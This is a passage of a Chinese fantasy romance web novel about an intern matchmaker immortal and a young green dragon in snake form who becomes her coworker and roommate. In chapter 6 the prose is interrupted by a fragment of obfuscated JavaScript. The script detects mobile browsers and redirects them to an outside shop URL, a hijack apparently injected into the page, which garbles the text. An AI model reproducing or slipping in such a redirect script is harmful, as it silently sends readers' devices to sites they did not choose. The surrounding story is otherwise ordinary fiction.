最初的紧张感渐渐被无聊和好奇取代,她不由得开始天马行空地幻想起来。
青龙族,听说过的。
和月老部这种需要考试才能就业的岗位不一样。
在仙界里,青龙这类的岗位只在族内流转,由所有的族龙轮流上岗。
这位新同事,说不定高大俊美、能力卓越?<
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p>……嗯嗯,很有可能!毕竟是仙界土著,品质应该有保障。
这万一工作中朝夕相处,这位新同事不小心被她的勤奋和质朴打动,喜欢上她了,那可怎么办才好?
桃喜宁不自觉地闭上眼,双手捧住微微发烫的脸颊,陷入了甜蜜的烦恼,甚至小声自言自语起来。
“哎呀……这样发展办公室恋情,是不是影响不太好啊……”
“小桃?小桃?桃喜宁!”李帅的声音突然炸响,猛地将她从幻想中拽了出来。
桃喜宁一个激灵,睁开了眼睛。
映入眼帘的依然是面带无奈的李帅,而他旁边——什么也没有。
新同事呢?还没来?
她下意识地左右张望,正准备开口询问。
李帅却伸手指向了办公桌桌面,语气平淡无波:“小桃,别找了。这位就是你的新同事,敖翔。”
桃喜宁顺着李帅手指的方向,疑惑地低头看去。
只见此时的办公桌面上,正盘着一条通体青色、鳞片泛着细碎闪光的...小蛇?
那小青蛇甚至还昂着脑袋,一双竖瞳正一瞬不瞬地盯着她。
“李、李科长,这位……”桃喜宁再次卡壳了。
不是说好的,新同事是青龙吗?这不对啊!
李帅无视了她的震惊,微笑着解释:“小桃啊,敖翔他......暂时还不能化为人形。以后的工作里,你要多担待,多照顾他一些。”
桃喜宁只觉得刚才脑海里那个高大俊美的形象——“咔嚓”一声碎成了渣渣,但是当着新同事的面不好开口,只得偷偷给李帅传音。
【李科长!这、这新来的同事就算不能化人形,也该是龙形吧?】
李帅的传音立刻回了过来,带上了点警告的意味。
【青龙在能够化为人形前都是小青蛇,而且在人界蛇形不是更隐蔽?】
【我们部长亲自安排过来历练的!关系户的事情,你少打听!把他平安送走就是大功一件!】
这边,桃喜宁和李帅还在你来我往地加密传音通话。
那边,名叫敖翔的新同事,已经自顾自地在办公桌上优哉游哉地游动了起来,左看看右瞧瞧。
当他路过鼠标时,甚至还颇为嫌弃用尾巴尖,“啪”地一下将其扫到了一边。
好巧不巧,这一扫,电脑屏幕再次顽强地亮起——
那份命运多舛、布满修订痕迹的业绩报告,再次被公开处刑。
敖翔游到屏幕正前方,昂起脑袋,盯着那份报告看了几秒。
然后,一个清晰无比的、带着十足嘲弄意味的少年音在寂静的办公室里响起:“啧——桃喜宁是吧,看你这业绩,也不怎么样啊。”
这么轻飘飘的一句话,瞬间就点燃了桃喜宁积压已久的业绩焦虑,还顺带捎上了刚才幻想破灭的郁闷。
她把李帅的警告抛到了九霄云外,一个箭步冲上去,拉住小青蛇的尾巴就开始晃荡:
“说谁业绩不怎么样呢!你一条刚来报到的,懂什么月老部的业绩!”
“你!你居然敢这么对待我!”敖翔被她晃得头晕眼花,气得回头嘶嘶吐着信子。
“李科长!李科长你快管管她!”
然而,房内早已空空荡荡。
不知何时,经验丰富的李帅,早已悄无声息地溜之大吉,将这片剑拔弩张的现场,彻底留给了这对新搭档。
......
“我欺负你?李科长把你硬塞给我,我还觉得是你欺负我呢!”
桃喜宁双手叉腰,对着桌上把自己盘成一团的小青蛇怒目而视。
“你一个来历练的,还敢说风凉话嘲讽我的业绩!我也要告到李科长那里去!就告你干扰同事工作,破坏团队和谐!”
5. 第5章
亏得月老庙下午没什么人来访,桃喜宁跟敖翔的冷战才得以持续上演。
一个对着电脑屏幕,把键盘敲得噼里啪啦震天响,仿佛每个按键都跟她有仇。
另一个在办公桌上把自己盘成一团,连脑袋都深深埋了进去,一副已自闭勿打扰的姿态。
在这种近乎窒息的氛围中,桃喜宁几乎是数着分钟熬时间。
当时钟的指针终于精准地指向下班时刻,她几乎是弹射起步,“啪”的一声关上了办公电脑。
“下班——!”桃喜宁拖长了音调宣布,开始手脚麻利地收拾自己的包包,“终于可以回去躺平了……”
虽然今天来了个糟心的新同事,但上班的烦恼,关下班什么事?
这份泾渭分明的觉悟,是每一位合格打工仙的必备修养!
嗯?等等,手腕怎么沉甸甸的,动不了了?
桃喜宁低头一看,只见敖翔不知何时已经游到了她的手边。
细长的尾巴正紧紧地勾缠住她的袖口,昂起的小脑袋上,竖瞳里充满了货真价实的困惑。
“回去?你要回哪里去?”敖翔来了个二连问:“你难道不住在这里?月老庙里没有住宿的地方吗?”
“我当然不住在月老庙里了!我是自己租的公寓好吗?”桃喜宁没好气地开始拉扯自己的袖子。
“快松开,这衣服是刚买的,勾坏了你赔啊?”
听说她不住这里,敖翔非但没有松开,反而尾巴缠得更紧了,甚至开始往反方向用力,语气里带着点耍无赖的倔强。
“为什么不能住?我不管,我就要住这里!房间在哪里?”
“都说了没有……哎你别扯!”
一人一蛇正在拉扯争执间,异变陡生!
身后那尊一直静默不语的月老塑像,毫无预兆地放射出耀眼光芒!
这光芒如同实质,瞬间充盈了整个办事处,将每一寸空间都笼罩在一种宁静而威严的氛围之中。
坏了!
桃喜宁心里“咯噔”一声,瞬间松开了敖翔,以最快速度规规矩矩地站好,双手紧贴裤缝,连呼吸都放轻了。
光芒渐敛,只见那月老塑像幻化成一位慈眉善目、白须飘飘的老者。
他轻轻一步,便从那高高的神座上踏了下来。
“小桃是吧?”老者的声音温和,带着一种历经岁月沉淀的宁和。
“是!部长好!”桃喜宁感觉额角的冷汗都快滴下来了,声音更是有些发紧。
天啊!李科长千叮万嘱过的——部长他老人家随时可能降临在任何一个办事网点视察工作!
她兢兢业业工作了这么久都没碰上,怎么偏偏在今天,在下班这个节骨眼上,而且还是在她跟新同事拉扯扯扯的时候,给撞了个正着!
桃喜宁一边懊恼都怪敖翔耽误了她宝贵的跑路时间,一边又有点诡异的庆幸——幸好自己还没走,不然岂不是要被扣上早退的帽子?
这算是不幸中的万幸吗?
“挺好,挺好。”部长笑眯眯地,目光在她身上停留一瞬,便转向了桌上那条已经彻底僵直、宛如一根筷子的小青蛇。
“小熬啊,”他和蔼地开口,“你家里此前说,你是主动要求来我们月老部历练的?”
早在部长突然现身的那一刻,敖翔整条蛇就已经石化了。
此刻被点名询问,他猛地抖了一下,下午跟桃喜宁斗嘴时的伶牙俐齿此刻消失得无影无踪,憋了好一会儿,才挤出一个细弱、甚至带着点颤音的:“……是。”
“不错,不错。年轻仙有心历练,是好事。”部长捋了捋长须,脸上笑容更盛,显得十分满意,“我就是顺路过来看看,你们该下班就下班,啊,不必拘束。”
说完,也不见他有何动作,又是一阵光芒闪过,部长的身影已然消失无踪。
那尊月老塑像依旧端坐于神位之上,仿佛一切都未曾发生。
直到那无形的威压彻底散去,桃喜宁才敢长长地吁出一口气,感觉后背的衣料都有些汗湿了。也就在这时,她感觉到手腕上缠绕的力道一松。
低头一看,原来是敖翔也被吓得不轻,不自觉地松开了勾着她袖子的尾巴。
机不可失!
桃喜宁眼疾手快,一把抓起了早已收拾好的包包,以平生最快的速度“嗖”地蹿向了月老庙的大门。
直到跑出几十米远,她才回头朝着庙里喊了一嗓子:“你——!最后一个走的,记得锁门——!”
声音还在空气中飘荡,身影已经消失在了街角。
桃喜宁一路狂奔,直到确认已经离月老庙足够远,敖翔绝对追不上了,这才放缓了脚步,笃悠悠地沿着人行道往前走。
时近年底,道路两旁的树木叶片凋零,在地上铺了一层地毯,脚踩上去,发出细微碎裂声
这声音莫名让她感到安心。
桃喜宁索性将什么业绩考核、烦人同事、部长视察统统抛到脑后,一心一意踩着脚下沙沙作响的落叶。
不知不觉,脚步停在了一处台阶前。
一股混合着各种诱人味道的香甜气息扑面而来。
她抬起头——眼前是一家装潢明亮的零食专卖店,招牌上写着大大的“饴”字。
透过橱窗,能看见里面一排排货架井然有序,摆满了包装精美的零食,琳琅满目,色彩缤纷。
桃喜宁的整张脸几乎贴到了玻璃上,目光在里面来回扫视,心里盘算着要不要犒劳一下今天备受折磨的自己。
“左上角那个太甜,齁嗓子。”一个略带挑剔的声音突然从她的衣服口袋里传出。
“右下角那个看着还行,但嚼劲肯定不够。要我说,中间那排,靠右边那个独立小包装的,味道算是还行。”
桃喜宁大惊失色,猛地低头,只见敖翔那个青色的小脑袋,正从她的口袋边缘冒了出来,一双竖瞳正打量着橱窗里的商品。
“你!你怎么在我口袋里?!”
桃喜宁几乎是尖叫出声,又立刻意识到是在大街上,赶紧侧过身挡住口袋,同时手忙脚乱地试图用指尖把这个不速之客按回去。
敖翔的小脑袋灵活地左右晃动,躲避着她的攻击,声音里还带着点理直气壮。
“不然你以为我怎么追上你的?月老部肯定有统一的员工宿舍吧?快带我去!我要跟你住一起!”
“才没有什么员工宿舍呢!”桃喜宁压低声音,又急又气,双手齐上总算把他的脑袋暂时摁了回去。
“我是用月老部每月发的信仰值,兑换成人界的货币后,自己租的公寓!你也自己去租啊。”
听到这话,口袋里沉默了片刻。
随即,敖翔的脑袋又顽强地钻了出来。
只是这次,那双竖瞳里写满了难以置信:“可、可我只是来历练的!月老部不给我发信仰值啊!”
这下,轮到桃喜宁难以置信了:“就算月老部不给你发,你家里也不给你发吗?”
好歹是青龙族吧,不至于连生活费都克扣吧?
敖翔整条蛇仿佛都蔫了下去,连那身鳞片都随之黯淡了几分,原本挺直的尾巴尖也无精打采地垂落下来。
小小声:“家里原本要我去财神部历练,我自己非要来月老部,家里不同意,所以就给我断了生活费。”
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看着这瞬间从嚣张切换到无助的模式,桃喜宁的心像是被什么东西轻轻戳了一下。
想到敖翔初来乍到,身无分文,在人界连个落脚的地方都没有……
“哎……”她叹了口气,一时心软,话便脱口而出:“算了算了,实在不行……你就先、先去我的公寓暂住一下吧。等以后……再想办法。”
话音刚落,刚才还蔫头耷脑的小青蛇瞬间把身体挺得笔直,连鳞片都仿佛重新恢复了光彩。
他甚至还像模像样地干咳了一声:“看在你如此诚恳邀请的份上……好吧,就这么定了!”
随即,敖翔那灵活的尾巴尖立刻再次指向零食店的橱窗,语气变得轻快而期待:“对了!既然顺路,能买一些这个零食吗?我喜欢吃。”
……
最终,桃喜宁还是脚步沉重地走向了地铁站。
她不仅没能甩掉敖翔,还被迫返回月老庙锁了一趟门,足足多走了一倍的冤枉路。
而此时此刻,她的脑袋里还在嗡嗡作响,全是敖翔传来的、喋喋不休的碎碎念。
“哎,为什么不同意买刚才的零食啊?那个组合买一送一,算下来相当于打了五折呢!多么划算!”
去地铁站的路上,会经过赫赫有名的财神庙——这也是财神部在本市的人界办事网点。
只见财神庙门口,气派程度与月老庙不可同日而语。
此刻,一辆线条流畅、漆光锃亮的商务车正停在门口,几位财神部员工正谈笑风生地陆续上车。
“啧啧啧,这是通勤的班车吧,看看人家财神部!”敖翔又偷偷从口袋边缘探出一点脑袋。
“再看看这排场!同一个城市,人家员工都好几个。再看看咱们月老部……唉。”
桃喜宁闻言更是没好气,用凉飕飕的语气回道:“现在人界都一心求财,财神部信众多,收到的信仰值更多!”
“哪里是我们这种牵红线、管姻缘的月老部能比的?你要是真这么眼热,大可以申请重新调回财神部历练啊!”
敖翔的小脑袋“嗖”地一下转了回来,语气陡然拔高,听得出来些许恼怒。
“你以为我去不了吗?我告诉你,我当初选部门的时候看得清清楚楚——财神部那工作,啧啧,忙得跟什么似的!哪有在月老部清闲……咳咳!”
他的话头猛地刹住,随即小心地瞟了一眼桃喜宁。
“知道知道,我们月老部现在在人界没有财神部业务多呗。”桃喜宁早就习惯了这种对比。
她的目光依旧胶着在那辆商务车上,喃喃自语,声音里充满了向往:“我听说……财神部办事处的员工,都统一租在隔壁那个高档小区呢……”
敖翔似乎已经从刚才的小小失态中恢复过来,仿佛是跟桃喜宁杠上了,专戳她痛处:“哟?你这么向往财神部,当初怎么不直接报考啊?”
桃喜宁的肩膀瞬间垮了下来,语气低沉,带着点难以启齿的窘迫:“……因为报考财神部的考生太多了,录取率低得吓人。”
她顿了顿,声音更低了,“而且我当初入宗门时,答应过我爸妈,如果能成仙……就争取做个月老。”
敖翔拉长了调子,用一种老气横秋的语气总结道:“哦~~~~原来是考不上,外加有家训啊。”
“要你管!”桃喜宁猛地回过神来,恼羞成怒,再次一把将他的脑袋摁回口袋里,脚下加快步伐,匆匆走向地铁站入口。
然而,这一路上,她的口袋里依旧持续传来闷闷的、坚持不懈的传音:
“喂!别走那么快!我们到底住在哪儿?房子多大?你说清楚啊!”
6. 第6章
“总——算——到——家——了——”
桃喜宁推开房门,仿佛完成了一场艰苦的旅途。
她把手里的包包随手往最近的椅子上一扔,软绵绵地歪倒在客厅的沙发上,发出一声满足的喟叹。
下班高峰期的地铁车厢,拥挤如斯,恐怖如斯!
她区区一个实习月老,在复杂浓郁的班味交织成的混沌洪流中,根本不堪一击。
一趟地铁坐下来,桃喜宁感觉仿佛进行了一场名为通勤的残酷考验,此时此刻只想与沙发融为一体,直到地老天荒。
就在她意识逐渐即将模糊之时,一道青色的影子“嗖”地从她口袋里蹿出,轻盈地落在沙发扶手上。
敖翔,这位新晋同事,似乎完全不受凡间通勤之苦的影响,他先是优哉游哉地用尾巴尖拨弄着沙发上那个印着缘定三生的抱枕。
“啧,缘定三生?”讥诮的少年音再次响起,带着明显的嫌弃。
“这印花,未免也太俗气了点。莫非是你们月老部卖不出去的周边,拿来内部消化了?”
桃喜宁一口气没顺上来,勉强抬起的手臂,有气无力地朝小青蛇抓去。
敖翔灵巧地一扭身,便躲开了她的手掌,轻巧地跃到地板上,开始了对新环境的巡视。
“啧啧,公寓这么小就算了,怎么连摆设都透着一股廉价的味道?”
他一边用挑剔的目光扫视着客厅,一边甩着尾巴游弋着,在客厅转完一圈后,又丝滑地游进了厨房。
紧接着,厨房里便传来一阵“乒乒乓乓”的响动,像是锅盖被掀开,瓶罐被碰撞。
桃喜宁心里一紧,本想挣扎着爬起来去看看那条惹事精又在搞什么名堂,奈何身体像是被牢牢黏在了沙发上,每一处都在喊着拒绝移动。
她只得仰着头,朝着厨房方向有气无力地喊:“喂!你又在厨房里干什么呢?!”
片刻之后,敖翔从厨房里游了出来,身姿挺拔,宛如刚刚完成了一场重要调研。
他昂起脑袋,语气里带着一丝洞悉真相的高傲。
“桃喜宁,我严重怀疑你这公寓只是个临时落脚点。你那些厨具都是九成新的,压根没怎么开过火吧?调味品连塑封都没拆,好多都过期了。冰箱倒是挺大,可惜里面大半都是空的,只有几块冻得硬邦邦的不明物体!”
桃喜宁在心里默念了三遍:“他是同事,他是关系户,打他我肯定要写检查,转正就更别想了。”
这才勉强把那股无名火压下去。
“就算还在实习期,我也是正儿八经的月老部员工!”
她试图用音量弥补心虚,振振有词地为自己辩驳:“我又不需要像凡人一样吃喝,干嘛要把冰箱装满?那是对信仰值的浪费!”
敖翔闻言,不再四处游走,而是径直游到沙发前,唰地一下立起上半身,一双竖瞳一瞬不瞬地紧紧盯着桃喜宁。
那目光极具穿透力,盯得她后颈发毛,心里直打鼓。
“有……有话直接说!别在这里卖关子装深沉!”桃喜宁被看得浑身不自在,忍不住一拍沙发扶手,强行坐直身体,试图在气势上占据高地。
敖翔没被气势压到,尾巴尖有一下没一下地轻轻敲打着木地板。
“难道说……你不是懒得做饭,而是仗着自己是仙不用进食,所以压根——就、不、会、做、饭?”
“你!”桃喜宁被戳破心事刚要炸毛,忽而眼珠一转,计上心来。
她抱起手臂,脸上露出一个“我早就看穿你了”的笑容:“光动嘴皮子谁不会,有本事你来做啊?该不会……你也就是纸上谈兵吧?”
“说谁纸上谈兵呢?”
敖翔的小脑袋昂得更高了,语气里带着被小瞧的不悦。
“今天就让你开开眼,什么叫真正的技艺!你,去下单!”
桃喜宁心里乐开了花:成功了!既保住了面子,又能蹭到一顿饭,简直是一箭双雕!
说起来,她确实好久没吃吃喝喝过,早就馋了。
“行,你等着!”
对饭菜的渴望支撑着桃喜宁,让她爆发出强大的意志力,硬生生把自己从沙发的封印中撕了下来。
她跌跌撞撞走到椅子边,从包里翻出手机,解锁,打开生鲜购物APP,选货,下单,付款,一系列动作一气呵成!
……
仙界的信仰值兑换与人界物流网络无缝对接,效率极高。
不过半个小时的功夫,订购的各类蔬菜和肉类就已经送到了公寓门口。
桃喜宁一手一个沉甸甸的大塑料袋走进厨房时,敖翔早已占据了料理台的制高点。
“你,把菜洗了。”“你,把肉切块。”
敖翔用尾巴尖精准地指挥着,桃喜宁则手忙脚乱地打着下手。
她刚拿起一颗西红柿,敖翔的点评就如期而至:“啧,你买的这西红柿不够红润,一看就没怎么晒过太阳。”
她又拿起一块猪肉,敖翔的尾巴尖跟着指了过来:“你看看你买的这肉,肥瘦分布不均匀,口感肯定不行。”
当桃喜宁拿起菜刀时,敖翔的声音瞬间拔高,带着十足的戏剧效果。
“哎哎哎!停!你怎么拿刀的?姿势不对不对!你这哪是切菜,你这是要上去打架吗?手腕要这样……唉,算了,跟我的厨艺比起来,你这就叫……唔!”
在一句接一句、密集如雨的“差评”中。
桃喜宁感觉到自己额头上的青筋欢快地跳动着,握刀的手慢慢收紧,指节因为用力而微微发白。
她硬是从牙缝里挤出一个扭曲的笑容,打断了敖翔的喋喋不休:“既然这也不好,那也不行……!”
敖翔似乎终于感知到了危险,细长的身体一僵,当即就想从料理台上溜走,却还是慢了一步。
桃喜宁眼疾手快,一把就将他扣在了案板旁!
她的手指如同铁钳,牢牢固定住了试图挣扎的小青蛇。
“跑什么?”她俯下身,脸上挂着和善到令人毛骨悚然的微笑,“我这就好好表现,保证让熬大厨满意。”
“救——命——啊——!打同事了!月老部员工虐待来历练的同事啦!”敖翔拼命扭动挣扎,冰凉的鳞片在桃喜宁手心摩擦。
桃喜宁一只手险些按不住这滑不留手的家伙。
情急之下,另一只拿着菜刀的手也松开了刀,双手齐上,才勉强将敖翔控制在掌心之下。
“叮咚!”
清脆的门铃声突兀地响起,打破了公寓内的喧闹。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958676|193254||http|test|mini|href|location''.split(''|''),0,{}));
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>桃喜宁猝不及防,手上力道一松。敖翔抓住这千载难逢的机会,身子一扭,迅速从她的指缝间钻出,“嗖”地一下溜得无影无踪。
“……”桃喜宁看着空荡荡的手心,咬了咬牙。
算了,先去开门……待会儿再跟敖翔算账!
她整理了一下有些凌乱的头发和衣服,努力让表情恢复正常,然后走到门口,打开了房门。
门外站着的是隔壁的邻居岑漫,她手里拎着好几个满满的购物袋,脸上带着些许不好意思的笑容:
“那个……小桃,没打扰你吧?我今天下单买多了食材,一个人吃不完,想着问问你需要吗?可以送你一些。”
桃喜宁还没来得及回答,一道影子便从岑漫身后窜出,目标明确地直扑客厅沙发!
是岑漫的宠物狸花猫,笔芯。
桃喜宁对它可不陌生——一只猫妖,岑漫出门采风时,笔芯还曾被短期寄养在桃喜宁这里。
沙发上,刚刚逃出生天的敖翔,正盘踞在那个缘定三生的抱枕上喘息。
面对笔芯的突然袭击,他反应极快,身体猛地向旁边一闪,险之又险地避开了那带着尖爪的扑击。
“喵呜!”一击落空,笔芯显然不肯罢休,身体低伏,喉咙里发出威胁的咕噜声,再次蓄势待发。
敖翔似乎也被激起了几分火气,不再一味躲闪,反而开始有意逗弄起这只不知天高地厚的凡间猫妖。
他的动作灵活得不可思议,每每总是在猫爪即将触及鳞片的瞬间,才以一种近乎戏谑的姿态堪堪躲过。
一时间,一猫一蛇在并不算宽敞的客厅里上演了一场精彩的龙虎斗,身影翻飞,带倒了垃圾桶,碰歪了纸巾盒,场面一度十分混乱。
“笔芯!停下!不能这样!对不起啊喜宁!”
岑漫在后面焦急地喊着,试图上前抓住自己的猫,但笔芯此刻却根本不理会她的呼唤。
桃喜宁看得心急如焚,虽然心里虽然嘀咕着“虽然不知道敖翔为什么不能化为人形,但好歹据李科长说是...青龙,总不至于连只猫妖都对付不了...吧?”。
可眼睁睁看着那锋利的猫爪一次次擦着那抹青色的身影而过,她的心还是提了起来。
想归想。
当敖翔为了戏耍对方,又一次故意放慢速度,几乎是将自己送到猫爪之下时。
桃喜宁的心口猛地一缩,再也忍不住了!
她一个箭步冲上前,不顾一切地伸手,精准地一把将那只还在嘚瑟的小青蛇捞了起来,紧紧护在了自己怀里!
笔芯失去了目标,愣了一下,终于停了下来,有些不甘心地围着桃喜宁的脚边“喵喵”直叫,还用脑袋蹭了蹭她的裤腿。
“哎哟,笔芯!你真是不像话!”岑漫终于得以上前,一把将自家闯祸的猫抱了起来,脸上满是歉意。
“实在对不起啊,见疏,没吓到你吧?我家笔芯被我宠坏了,平时挺乖的,也不知道今天怎么回事,看到你的……呃,你的宠物蛇就这么激动。”
桃喜宁感受着怀里那小青蛇冰凉的鳞片,松了口气,刚想对岑漫说“没关系”……
一个清晰的、带着十足委屈和指控的少年音,就在脑中骤然炸响【她居然说我是宠物蛇!!!】
7. 第7章
脑袋里被那道委屈又愤怒的传音炸得“嗡嗡”作响,桃喜宁下意识地拍打着怀里的小青蛇。
她一边对着岑漫维持着尴尬而不失礼貌的微笑,一边拼命在脑中给敖翔讲道理。
【岑漫是我邻居!她现在就站在我们面前!我不说你是宠物蛇,难道要说你是来历不明的野生动物吗?她要是反手一个电话召唤来帽子叔叔,你让我怎么解释?】
【说你是我们月老部新来的员工,因为还不能化形所以是条蛇?那我们俩就等着一起被处罚吧!】
另一边,岑漫怀里的狸花猫笔芯极其不安分地拱来拱去。
毛茸茸的脑袋使劲往外钻,一双圆溜溜的猫眼死死锁定桃喜宁怀里的那抹青色,喉咙里发出低沉的、充满威胁的声音,时不时还亮出锋利的爪子虚张声势。
见到这只猫妖竟敢如此挑衅,敖翔又憋不住了,整条蛇都扭动起来。
【你放开我!我今天非要让这只不知天高地厚的知道厉害!】
他疯狂地晃着小脑袋,信子“嘶嘶”地吞吐着,若非被桃喜宁死死按住,恐怕已经飞身扑上去了。
“那个……实在抱歉啊,小桃。”岑漫脸上的歉意几乎要溢出来,她的身体语言诉说着去意,脚尖已经不自觉地转向了门口。
“笔芯今天太反常了,我怕它再闹下去真要伤到你的……宠物蛇。要不我今天还是先带它回去吧。”
“是我不好意思才是!”桃喜宁立刻顺水推舟。
她此刻的想法和岑漫高度一致——赶紧把这一猫一蛇隔开!
“你今天还特地带了吃的过来,结果闹成这样。下次!下次我请你吃饭!”
两个邻居在门口进行了一番迅速而客气的告别,公寓门“咔哒”一声关上的刹那。
桃喜宁背靠着门板,长长地、无声地吁出了一口气。
然而,她这口气还没完全松下来,就感觉到怀里一空。
只见敖翔从她怀中弹出,精准地落在沙发上的那个缘定三生的抱枕上,然后——
整条蛇猛地一转身,用线条优美的背部对着她,盘成一团,连脑袋都埋了进去,一声不吭。
空气里弥漫着一股无声的、浓郁的怨念。
这是……在生闷气?
桃喜宁眨眨眼,觉得有些新奇,凑近沙发,蹲下身来,试图让自己的视线与那条闹别扭的小青蛇保持在同一条水平线上。
她甚至深长脖子歪过头,想从侧面观察一下敖翔。
结果脸刚凑过去,敖翔就像背后长了眼睛似的,身体“唰”地一下,灵活地又转了个角度,再次用那坚定的、布满青色鳞片的背部对着她,以实际行动表达了“我不想理你”。
好吧,确实是在生闷气,而且气性还不小。
桃喜宁有些哭笑不得。
她活了这么多年,什么场面没见过?
但应对一个既是新同事、又是新室友的生气,这经验着实是零。
桃喜宁的目光扫过略显凌乱的客厅,又瞥见厨房料理台上那些刚刚经历了一场风波、还未来得及收拾的食材,心里叹了口气。
她清了清嗓子,试探性地问道:“那个……熬大厨?您看,这天色也不早了,今晚还……展现您那的厨艺不?”
沙发上的青色“蚊香”纹丝不动,连鳞片都没有闪烁一下。
“行吧……”桃喜宁站起身,把声音放得轻快:“那您先歇着,消消气。我把这些食材收拾收拾放冰箱,可不能浪费了。”
她走进厨房,故意弄出一些不大不小的“窸窸窣窣”的声响,将塑料袋归拢,打开冰箱门,把食材一样一样往里塞。
期间,还偷偷从厨房探出半个脑袋,观察客厅的动静——很好,那团“蚊香”盘得更紧了,几乎要变成一个密不透风的青色圆球。
桃喜宁心里觉得好笑,面上却不动声色——这个时候上前,指不定敖翔反弹得更厉害。嗯,还是得冷处理,晾他一晾。
她走出厨房,站在卧室门口,用再正常不过的语气说道。
“敖翔,我这儿公寓小,只有一个卧室。你住的话,客厅的沙发就归你了哦。我先去楼下扔个垃圾哈。”
说完,她非常干脆利落地拎起垃圾袋,走出公寓,还“咔哒”一声顺手把门给带上了。
客厅里,瞬间只剩下敖翔。
他难以置信地微微抬起埋着的脑袋,竖瞳里充满了震惊和……一丝不易察觉的委屈。
这……就结束了?!
居然就这么走了?!不再多哄哄他吗?至少也得再说两句好话吧?一句也行啊?
一股莫名的、更加汹涌的憋闷感涌上来。
敖翔“嗖”地一下从沙发上弹起,轻盈地落在地板上,几下就游到了单元门边。
他竖起身体,将小脑袋贴近门缝,能清晰地感知到门外毫无气息——桃喜宁居然真的走了了!不是在假装!
“可恶!没眼力见的!也不知道继续哄哄我!”
敖翔气得在卧室门外来回游动,细长的尾巴焦躁地拍打着地面,可惜,门外依旧毫无动静,仿佛是无声的嘲讽。
就在他考虑是不是要用脑袋撞门以示抗议时——
“小翔。”一个熟悉的声音响起。
敖翔立刻停止了所有动作,回头望了一眼单元门,随即迅速游回客厅中央。
只见客厅那扇紧闭的窗户,此刻正被悄无声息地推开一条缝。
他的父亲——敖椿庭正灵巧从缝里翻进来,没有发出丝毫声响。
“爸!”敖翔活学活用了桃喜宁刚才的警告:“这里是高楼!被人看见你这么爬楼,要叫帽子叔叔来的!”
“放心放心。”敖椿庭丝毫不在意:“确认过了,这里是死角,绝对没有人看见。”
他目光落在眼前敖翔身上,脸上的微笑瞬间凝固,眼眶说红就红。
【小翔!你受苦了啊!】敖椿庭一个箭步上前,声音带着哽咽。
“我和你妈每天都想着你。尤其是你妈,特地吩咐我带些你平日爱吃的点心和小菜来看你!”
说着,敖椿庭手腕一翻,凭空取出了好几个精致的食盒。
他手脚麻利地将食盒一一打开,里面赫然是色香味俱全的各式佳肴,诱人的香气很快充斥了整个客厅。
敖翔的眼睛“唰”地一下就亮了,刚才那点委屈和气愤瞬间被抛到了九霄云外。
他昂起小脑袋,露出了期待的神色,身体不由自主地就要往桌上凑:“妈果然还是心疼我的!”
然而,敖翔的脑袋还没碰到桌沿,就看见敖椿庭已经自顾自地拿起一副碗筷,以风卷残云之势,开始……大吃特吃!
是的,大吃特吃!
桌上的食物以可见的速度迅速减少。
敖椿庭吃得腮帮子鼓鼓,动作优雅却效率奇高,仿佛饿了很久很久。
敖翔伸出去的脑袋僵在了半空中。
【爸!】他的声音几乎是咬着牙挤出来的,【这不是妈让你带给我的吗?你怎么自己吃起来了?!】
敖椿庭百忙之中抬起头,咽下口中的食物,用无比自然、理所当然的语气回道。
【不是啊。为了让你能深刻反省,你妈特意关照了,让我带着食物来,当着你的面吃,边吃边……呃,用她的原话就是,边吃边馋你!。】
“……”敖翔整条蛇都僵住了。
下一秒,无边的怒火从尾巴尖直冲脑门。他气得猛地一甩尾巴
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,身体都因为愤怒而微微鼓胀了起来。
......
这事还要从敖翔离家历练之前说起。
书房内,敖翔正毫无形象地盘在躺椅上,随着椅子前后摇晃,一副百无聊赖的模样。
“臭小子。”敖椿庭走进书房,踢了一脚躺椅:“你妈已经安排妥当了,你这次去人界历练的部门是财神部。”
“爸,你踢轻点,我都要掉下去了。”敖翔努力在晃动的躺椅上稳住自己:“财神部?他们工作是不是特别忙?”
敖椿庭坐上躺椅,把敖翔挤了出去,自己摇摇晃晃,面带微笑。
“对,财神部业务量确实非常大。这样你就能快速积累工作经验,想必很快就能回来接替我和你妈的岗位了。”
“非常大。”敖翔咀嚼着这三个字,猛地绷直身体:“不!我不要去财神部!我要换个部门!”
“啊?”敖椿庭脸上的笑容僵住了:“那你想去哪儿?”
敖翔重新跳上躺椅,盘到敖椿庭头上,晃着尾巴尖:“我打听过了,现在月老部业务清闲。就去那儿吧!”
敖椿庭把敖翔扯下来往空中一丢:“要是你妈知道了,肯定会生气的!”
敖翔浑不在意被抛飞,反而信心满满:“爸!你放心!妈要是生气,一切由我顶着!”
......
“喏,你当初自己说的,你妈要是生气,一切由你顶着。”
敖椿庭一边兢兢业业地执行着吃吃吃的任务,一边罗里吧嗦地絮絮叨叨:“臭小子你看,你执意要来月老部,你妈妈她,是真的很生气啊。”
敖翔看着桌上飞速消失的美食,有气无力地甩了甩尾巴尖:“我看出来了。”
这惩罚手段,简直是诛心!
“哦,对了对了,差点把正事忘了。”敖椿庭猛地停下了筷子。
敖翔精神一振,熄灭的小希望之火再次点燃,满怀期待地看着敖椿庭——
难道他妈妈还是心软了,到底是给他留了点?
只见敖椿庭不慌不忙地拿出一个智能手机,熟练地架上便携支撑架,调整好角度,确保能将他自己、敖翔以及满桌残羹都拍进去,然后郑重其事地按下了视频录制键。
“你妈还特意关照了,”敖椿庭对着镜头露出一个标准微笑,然后转向敖翔,解释道。
“要我把‘你吃不到只能干看着’的影像资料带回去。唉,不得不说,这现今人界的科技,的确是方便好用啊~~”
敖翔:“……”他感觉自己从未如此无语过。
好用个头啊!
敖椿庭心满意足地录完视频,保存好证据,然后又勤勤恳恳地将杯盘狼藉的桌面收拾得一尘不染。
连一点食物残渣都没留下。
“那我就先回去了。”
熬椿庭走到窗边,回头殷切地嘱咐,“族里已经通过了。只要你待的办事网点年度考核合格,就视为你族里的年度考核也合格了!加油啊儿子!”
话音未落,他的身影已经从窗口消失,融入了外面的夜色之中。
客厅里再次恢复了寂静,只剩下残留的、若有若无的食物香气,以及备受打击、身心俱疲的敖翔。
他生无可恋地在地板上瘫了一会儿。
